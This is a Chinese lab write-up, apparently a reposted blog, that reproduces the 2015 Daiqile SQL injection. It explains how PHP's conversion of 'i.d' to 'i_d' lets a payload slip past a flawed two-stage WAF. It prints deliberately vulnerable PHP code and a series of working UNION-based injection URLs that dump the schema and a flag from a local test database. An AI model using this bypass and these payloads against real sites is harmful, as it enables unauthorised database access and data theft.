贷齐乐错误的waf引起的SQL注入漏洞复现

君衍.

  • 一、环境介绍
    • 1、第一道WAF
    • 2、第二道WAF
  • 二、环境部署
    • 1、模拟源码
    • 2、连接数据库源码
    • 3、数据库创建
    • 4、测试
  • 三、源码分析
    • 1、模拟WAF
    • 2、注入思路
    • 3、PHP下划线特性
    • 4、完成假设
  • 四、联合查询注入
    • 1、测试回显字段
    • 2、爆出库名
    • 3、爆出表名
    • 4、爆出表下的列名
    • 4、爆出flag

一、环境介绍

在这里插入图片描述
本篇模拟2015年爆出的贷齐乐SQL注入的漏洞:贷齐乐系统多处SQL注入漏洞

该漏洞基于错误的WAF引发的,同SQLi靶场中的29关到31关类似,但该漏洞是错误的WAF引起的,而29关到31关则是HTTP参数污染引起的。还是有些不同之处的,而这里是HPP全局参数污染以及PHP的一个特性。

1、第一道WAF

当初在这个漏洞被爆出时,daiqile使用了变态WAF来进行防御,可以说已经影响了用户的正常使用,之所以这样其实还是因为开发方面的安全意识差,从而导致很多漏洞被批露。下面我们分析下当年daiqile使用了哪些waf进行过滤:
在这里插入图片描述
第一层WAF: 包含点,单引号,星号等等,一旦包含直接删除非法字符,然后又注释掉了一系列东西,这是第一个WAF防御。
在这里插入图片描述
将GET获取到的所有值来进行判断是否含还有password,如果没有,那么就执行第一层WAF来进行检测,GET传参不行,单引号也是闭合不了的。第二段则是将POST也进行了循环,然后进行过滤,执行第一层WAF,第三段则是REQUEST同样是进行循环然后过滤掉了。

class sqlin {function dowith_sql($str) {$check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);if($check){echo "非法字符!";exit();}$newstr="";while($newstr!=$str){$newstr=$str;$str = str_replace("script", "", $str);$str = str_replace("execute", "", $str);$str = str_replace("update", "", $str);//$str = str_replace("count", "", $str);//注释掉对count的过滤,不然account这样的参数会被截断$str = str_replace("master", "", $str);$str = str_replace("truncate", "", $str);$str = str_replace("declare", "", $str);$str = str_replace("select", "", $str);$str = str_replace("create", "", $str);$str = str_replace("delete", "", $str);$str = str_replace("insert", "", $str);$str = str_replace("\'", "", $str);}return $str;}//aticle()防SQL注入函数//php教程function sqlin() {foreach ($_GET as $key => $value) {if ($key != "content"&&strstr($key, "password") == false) {$_GET[$key] = $this->dowith_sql($value);}}foreach ($_POST as $key => $value) {[email protected]_put_contents('wxy123123.txt', date('Ymd His') . '提交url拼接 '.$key."|".(strstr($key, "password") == false), FILE_APPEND);if ($key != "content"&&strstr($key, "password") == false) {$_POST[$key] = $this->dowith_sql($value);}}foreach ($_REQUEST as $key => $value) {if ($key != "content"&&strstr($key, "password") == false) {$_REQUEST[$key] = $this->dowith_sql($value);}}}
}

GET/POST/REQUEST三个变量,都会经过这个正则:select\|insert\|update\|delete\|'\|/\*\|\*\|\.\./\|\./\|union\|into\|load\_file\|outfile,一旦遇到select,包括单引号,包括注释符,就立即exit整个流程。

2、第二道WAF

以上还都是第一道WAF,下面我们看第二道WAF:

function safe_str($str){if(!get_magic_quotes_gpc()) {if( is_array($str) ) {foreach($str as $key => $value) {$str[$key] = safe_str($value);}}else{$str = addslashes($str);}}return $str;
}

这里我们可以看到里面首先进行了魔术开关的判断,然后就是判断是不是数组,如果是数组,那么循环进行safe_str函数循环判断,如果不是数组,那么直接执行addslashes进行过滤。
在这里插入图片描述

function dhtmlspecialchars($string) {if(is_array($string)) {foreach($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}} else {$string = str_replace(array('&', '"', '<', '>','(',')'), array('&amp;', '&quot;', '&lt;', '&gt;','(',')'), $string);if(strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;
}

这个函数关键点在于括号替换了,替换为中文的括号,剩下的便是双引号等等字符被转义,这里我们报错注入直接用不了了。

foreach ($_GET as $key => $value) {$_GET[$key] = safe_str($value);$_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_POST as $key => $value) {$_POST[$key] = safe_str($value);$_GET[$key] = dhtmlspecialchars($value);
}
foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = safe_str($value);$_REQUEST[$key] = dhtmlspecialchars($value);
}
foreach ($_COOKIE as $key => $value) {$_COOKIE[$key] = safe_str($value);$_GET[$key] = dhtmlspecialchars($value);
}

剩下的便是GET、POST、REQUEST、COOKIE传参方式全部进入这两个函数进行过滤,从而达到防御的效果,这里我们不能写闭合,不能写括号,这里我们再注入已经几乎没办法进行注入了。
所以我们想要完成注入,肯定就必须绕过这两个WAF。

二、环境部署

本漏洞由于是2015年爆出的,所以这里源码使用的PHP版本不支持7版本,这里我们可以使用PHP5.4.45版本,只需小皮进行下载更改即可:
在这里插入图片描述
在这里插入图片描述
源码在下面放了,一共两段源码,一段是模拟WAF的源码,另一段是SQL连接的源码。
这里我使用的环境为PHP 5.4.45版本,使用Apache中间件,MySQL使用5.7.26版本:
在这里插入图片描述

1、模拟源码

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}//经过第一道WAF处理foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}// 经过第二个WAF处理$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}// 业务处理if (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result = mysql_query($sql);while($row = mysql_fetch_array($result)){echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}}
?>

2、连接数据库源码

<?php
$mysql_server_name="localhost";
$mysql_database="ctf";    /** 数据库的名称 */
$mysql_username="root";  /** MySQL数据库用户名 */
$mysql_password="123456";  /** MySQL数据库密码 */
$conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8');
?>

这里我们使用数据库名为ctf,数据库用户名以及密码使用小皮的数据库用户名以及密码。

3、数据库创建

这里我们需要自己创建数据库以及表名,首先我们创建数据库:

CREATE DATABASE ctf;

创建表名:

CREATE TABLE `users` (`Id` int(11) NOT NULL AUTO_INCREMENT,`name` varchar(255) DEFAULT NULL,`pass` varchar(255) DEFAULT NULL,`flag` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8

添加数据(flag):

INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');

以上就是创建数据库、表以及数据的操作,最终即可看到:

SELECT * FROM users;

在这里插入图片描述
同ctf比赛一样,最终拿下这个flag即为成功。

4、测试

传入1以及单引号给id,即可看到回显结果显示非法字符:

http://127.0.0.1/daiqile/index.php/?id=1'

在这里插入图片描述
而直接访问页面即为空白,这里并没有什么前端代码。只是来模拟错误WAF引起的SQL注入漏洞。

三、源码分析

<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {if (is_array($string)) {// 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}} else {// 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);// 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;
}
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {// 使用正则表达式检查字符串是否包含 SQL 注入关键词$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {// 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行echo "非法字符!";exit();}return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}
}
// 如果提交按钮被点击,则执行以下代码
if (isset($_REQUEST['submit'])) {// 获取用户输入的用户 ID$user_id = $_REQUEST['i_d'];// 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录$sql = "select * from ctf.users where id=$user_id";// 执行 SQL 查询$result = mysql_query($sql);// 遍历查询结果,输出用户信息while($row = mysql_fetch_array($result)) {echo "<tr>";echo "<td>" . $row['name'] . "</td>";echo "</tr>";}
}
?>

1、模拟WAF

所以我们这里几乎模拟了真实的场景:

  • 第一道WAF:
foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);
}

这里调用了dowith_sql函数,相当于过滤了select、union等一些关键字。

  • 第二道WAF
$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}

这道WAF主要是过滤了括号等一些恶意字符,但是关键掉便在于第二道WAF的这段代码。
我们从第一句开始看:

$request_uri = explode("?", $_SERVER['REQUEST_URI']);

我们可以模拟来看下:

<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
echo "<pre>";
var_dump($request_uri);

这里我们传入:

http://127.0.0.1/daiqile/demo.php?id=1&username=2&password=3

即可看到:
在这里插入图片描述
原本$_SERVER['REQUEST_URI']传入的以及之后输出的会发现主要是进行了一个使用问号来进行的分割,分割为了两个数组,数组0是路径uri,数组1即为传入的参数。而这便是explode的作用:
在这里插入图片描述
然后我们继续往下看会发现进行了一个判断,数组1是否存在,在我们这里刚才传入的肯定是存在的,所以我们继续修改代码,往下看:

<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);echo "<pre>";var_dump($request_uri);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}
}

当然我们这都可以猜到,$rewrite_url又是通过&将其分割为数组:
在这里插入图片描述
分割开后我们可以看到又使用等号进行分割:

<?php
print_r($_SERVER['REQUEST_URI']);
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);echo "<pre>";var_dump($_value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}
}

在这里插入图片描述
可以看到这个value1就是我们传入的值,然后将我们的值传入到dhtmlspecialchars函数中进行检测替换。最后我们可以看到将$_SERVER['REQUEST_URI']中的字符覆盖到了$_REQUEST[$_value[0]]中。

2、注入思路

我们从第二道WAF那看不到什么大的问题,但是如果我们结合第一道WAF就可以看到第二道WAF其实就是第一道WAF执行完之后进行执行的。
所以,我们得思考下如果我们有一种方法让第一道WAF检测不到恶意字符,再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,其实也就可以绕过WAF,完成我们的注入了。
找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再$REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。

既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。

让第一道WAF检测不到恶意字符的思路便是,在第一道WAF进行检测时,检测为2,但是在覆盖REQUEST时候使它最终拿到1便可完成第一道WAF的绕过。

3、PHP下划线特性

这里我们需要了解PHP的一个小特性,那就是自身在进行解析的时候,如果参数中含有” “、”.”、”[“这几个字符,那么会将他们转换为下划线。

我们可以做个测试:

<?php
echo $_GET['i_d'];

然后我们传入:

http://127.0.0.1/daiqile/demo.php?i_d=1

在这里插入图片描述

http://127.0.0.1/daiqile/demo.php?i.d=1

在这里插入图片描述
所以我们可以利用这个特性,让第一道WAF解析一个正常的参数,第二道WAF来解析另一个恶意字符的参数从而完成覆盖注入。

假设我们传入的请求是/index.php?user_id=1&user.id=2,PHP就会将user.id转换为user_id,请求也就变为了:/index.php?user_id=1&user_id=2,所以第一道WAF拿的便是2,可是$_SERVER['REQUEST_URI']中,user_iduser.id是两个不同的参数,所以最后覆盖的是否我们拿到的确实1。

上面这个假设也就绕过了WAF1,插入数据库的即为1。

4、完成假设

我们这里就实施下我们的思路,首先我们传入的参数为:

http://127.0.0.1/daiqile/index.php/?i_d=bad'&i.d=111&submit=1

我们想要达到的效果便是:

  • 1、第一道WAF拿到传入的111,当然,我们将另一个参数设置为bad’,加了单引号,如果不成功肯定是报错的。
  • 2、我们要让第二道WAF拿到bad’,因为单引号过滤在第一道WAF处,所以不会报错。

上面便是我们想要的结果,下面我们更改源码来进行测试查看两个WAF分别传入的值:

  • 第一道WAF:

在这里插入图片描述

  • 第二道WAF:

在这里插入图片描述
我们可以看到我们的假设是成立的,最终都使他们拿到了我们想要的值。所以我们下面就开始注入。

四、联合查询注入

这里由于我们不能使用括号,所以优先使用联合查询进行注入:
(这里我们使用注释代替空格)

1、测试回显字段

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

在这里插入图片描述
我们可以看到是第二个字段进行的回显,所以我们就在第二个字段进行注入。

2、爆出库名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

在这里插入图片描述
我们可以看到这里就将所有的数据库名注入了出来,当然,我们也可以使用limit来一个一个观察:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1&submit=1

在这里插入图片描述
一般在比赛中是一个数据库即为ctf,假设我们这里找到了数据库,下面我们要查看数据库下的所有表名。

3、爆出表名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

在这里插入图片描述
这里由于源码中WAF使用了等号截断,所以我们这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换:
在这里插入图片描述

4、爆出表下的列名

我们可以直接进行查询,但是无法使用group_concat连接函数进行分割:

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1

在这里插入图片描述
所以这里我们也可以使用limit来进行查询:

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1

在这里插入图片描述

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1&submit=1

在这里插入图片描述

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1&submit=1

在这里插入图片描述

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

在这里插入图片描述
可以看到有个flag字段,最后我们查询即可。

4、爆出flag

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

在这里插入图片描述
到这里我们的贷齐乐错误的WAF引起的SQL漏洞复现完毕,总结下就几个点:

  • 1、hpp php 只接收同名参数的最后一个,这个也涉及hpp全局参数污染。
  • 2、php中会将get传参中的key中的.转为_
  • 3、$_REQUEST 遵循php接收方式,i_d&i.d中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/725866.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CleanMyMac X4.14.7永久免费Mac电脑清理和优化软件

CleanMyMac X 是一款功能强大的 Mac 清理和优化软件&#xff0c;适合以下几类人群使用&#xff1a; 需要定期清理和优化 Mac 的用户&#xff1a;随着时间的推移&#xff0c;Mac 设备上可能会积累大量的无用文件、缓存和垃圾&#xff0c;导致系统运行缓慢。CleanMyMac X 的智能扫…

【Java JVM】Class 文件

Java 的口号 “一次编写, 到处运行 (Write Once, Run Anywhere)” 的基础: JVM 和 所有平台都统一支持的程序存储格式 – 字节码 (Byte Code)。 只要在对应的平台安装对应的 JVM, 将我们编写的源码编译为 Class 文件, 就能达到了一次编写, 导出运行的目标, 中间的所有细节由不同…

11.WEB渗透测试-Linux系统管理、安全加固(上)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a; 易锦网校会员专享课 上一个内容&#xff1a;10.WEB渗透测试-Linux基础知识-Linux用户权限管理&#xff08;下&#xff09;-CSDN博客 进…

【论文笔记】Language Models are Few-Shot Learners

Language Models are Few-Shot Learners 本部分是 GPT-3 技术报告的第一部分&#xff1a;论文正文、部分附录。 后续还有第二部分&#xff1a;GPT-3 的广泛影响、剩下的附录。 以及第三部分&#xff08;自己感兴趣的&#xff09;&#xff1a;GPT-3 的数据集重叠性研究。 回顾…

部署运维 防火墙,进程 常用命令

防火墙: 1. 查看是否安装了firewalld sudo systemctl status firewalld 查看防火墙状态或者sudo systemctl is-active firewalld 查看防火墙是否是开启状态 2. 开放6379port sudo firewall-cmd --add-port6379/tcp --permanent 刷新防火墙 sudo firewall-cmd --reload 3…

产品展示型wordpress外贸网站模板

孕婴产品wordpress外贸网站模板 吸奶器、待产包、孕妇枕头、护理垫、纸尿裤、孕妇装、孕婴产品wordpress外贸网站模板。 https://www.jianzhanpress.com/?p4112 床品毛巾wordpress独立站模板 床单、被套、毛巾、抱枕、靠垫、围巾、布艺、枕头、乳胶枕、四件套、浴巾wordpre…

职场中的团队合作与个人成长

在职场中&#xff0c;团队合作和个人成长是两个不可或缺的要素。一个优秀的团队可以带来更高的工作效率和更好的业绩&#xff0c;而个人的成长则是职场成功的关键。本文将探讨如何在职场中实现团队合作与个人成长的平衡。 一、团队合作的重要性 在职场中&#xff0c;团队合作是…

【Ubuntu】将多个python文件打包为.so文件

1.为什么要将python打包为.so文件&#xff1f; 保护源码 2.实战例子 a.安装相应的包 pip install cython 验证安装是否成功 cython --version b.实战的文件目录和内容 hi.py # This is a sample Python script.# Press ShiftF10 to execute it or replace it with your…

线性代数 --- 特征值与特征向量

特征值与特征向量 已知任意向量x&#xff0c;现有矩阵A对x进行操作后&#xff0c;得到新的向量Ax。这就好比是自变量x与函数f(x)的关系一样&#xff0c;向量x通过类似“函数”的处理得到了一个新的向量Ax。这个新的向量可能和原向量x方向相同&#xff0c;也可能不同(事实上大多…

HUAWEI华为MateBook D 14 2022款 12代酷睿版集显(NbF-16)工厂模式原厂Windows11预装OEM系统,含F10智能还原功能

系统下载链接&#xff1a;https://pan.baidu.com/s/1kgJvwSq5eOdme7J9PDXIxQ?pwdxvz8 提取码&#xff1a;xvz8 华为笔记本电脑原装出厂系统工厂安装包&#xff0c;含F10功能、系统自带所有驱动、系统属性专属联机支持标志、Office办公软件、华为电脑管家等预装程序&#xf…

刷怪日记-01背包理论问题(二维矩阵实现)

01背包理论问题(二维矩阵实现) 题目 解题思路 确定dp数组以及下标的含义 本题采用二维数组进行解题&#xff0c;那么dp[i] [j]表示从下标0-i的物品任意选择&#xff0c;放进容量为j背包&#xff0c;价值总合最大是多少 i 表示物品第几个物品&#xff0c;j 表示背包容量大小 …

ORACLE 如何使用dblink实现跨库访问

dbLink是简称&#xff0c;全称是databaselink。database link是定义一个数据库到另一个数据库的路径的对象&#xff0c;database link允许你查询远程表及执行远程程序。在任何分布式环境里&#xff0c;database都是必要的。另外要注意的是database link是单向的连接。在创建dat…

LeetCode刷题---填充每个节点的下一个右侧节点指针 II

题解:LeetCode题解 解题思想&#xff1a; 通过创建辅助指针来解决该问题 当当前节点cur不为空的时候&#xff0c;创建辅助节点dummy&#xff0c;使其一直作为每一层的第一个节点的前一个节点。 创建辅助指针pre&#xff0c;pre初始指向dummy&#xff0c;之后通过pre来填充当前层…

2.2 评估方法 机器学习

我们若有一个包含m个样例的数据集&#xff0c;若我们既需要训练&#xff0c;也需要测试&#xff0c;我们该如何处理呢&#xff1f;下面是几种方法&#xff1a; 2.2.1 留出法 “留出法”直接将数据集D划分为两个互斥的集合&#xff0c;其中一个作为训练集S&#xff0c;另一个作…

双指针算法(1)

目录 283.移动零 一、题目描述 二、思路解析 三、代码 1089.复写零 一、题目描述 二、思路解析 三、代码 202.快乐数 一、题目描述 二、思路解析 三、代码 11.盛水最多的容器 一、题目描述 二、思路解析 三、代码 283.移动零 一、题目描述 OJ题目链接&#xf…

python基于django的药品进销存管理系统elsb2

本系统是通过面向对象的python语言搭建系统框架&#xff0c;通过关系型数据库MySQL存储数据。使用django框架进行药店药品的信息管理&#xff0c;用户只需要通过浏览器访问系统即可获取药店药品信息&#xff0c;并可以在线管理&#xff0c;实现了信息的科学管理与查询统计。本文…

OpenAI 大声朗读出来

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【MySQL】not in遇上null的坑

今天遇到一个问题&#xff1a; 1、当 in 内的字段包含 null 的时候&#xff0c;正常过滤&#xff1b; 2、当 not in 内的字段包含 null 的时候&#xff0c;不能正常过滤&#xff0c;即使满足条件&#xff0c;最终结果也为 空。 测试如下&#xff1a; select * from emp e;当…

2024全国水科技大会之国际合作与新技术、新产品推介会

召集人&#xff1a;中华环保联合会水环境治理专委会 此论坛主要为筛选新技术、新产品&#xff0c;入选企业后续可参与到我会7月的国际考察中&#xff0c;可为企业推荐国际项目合作&#xff01; 一、会议背景 为积极应对“十四五”期间我国生态环境治理面临的挑战&#xff0c;加…

【nodejs】“__dirname is not defined”错误修复

▒ 目录 ▒ &#x1f6eb; 问题描述环境 1️⃣ 原理CommonJS vs ESM错误原因 2️⃣ 禁用 ESM 模式并改用 CommonJS方案一&#xff1a;项目方案二&#xff1a;单文件 3️⃣ 在 ESM 模式下自实现__dirname&#x1f4d6; 参考资料 &#x1f6eb; 问题 描述 从网上找了一份代码&am…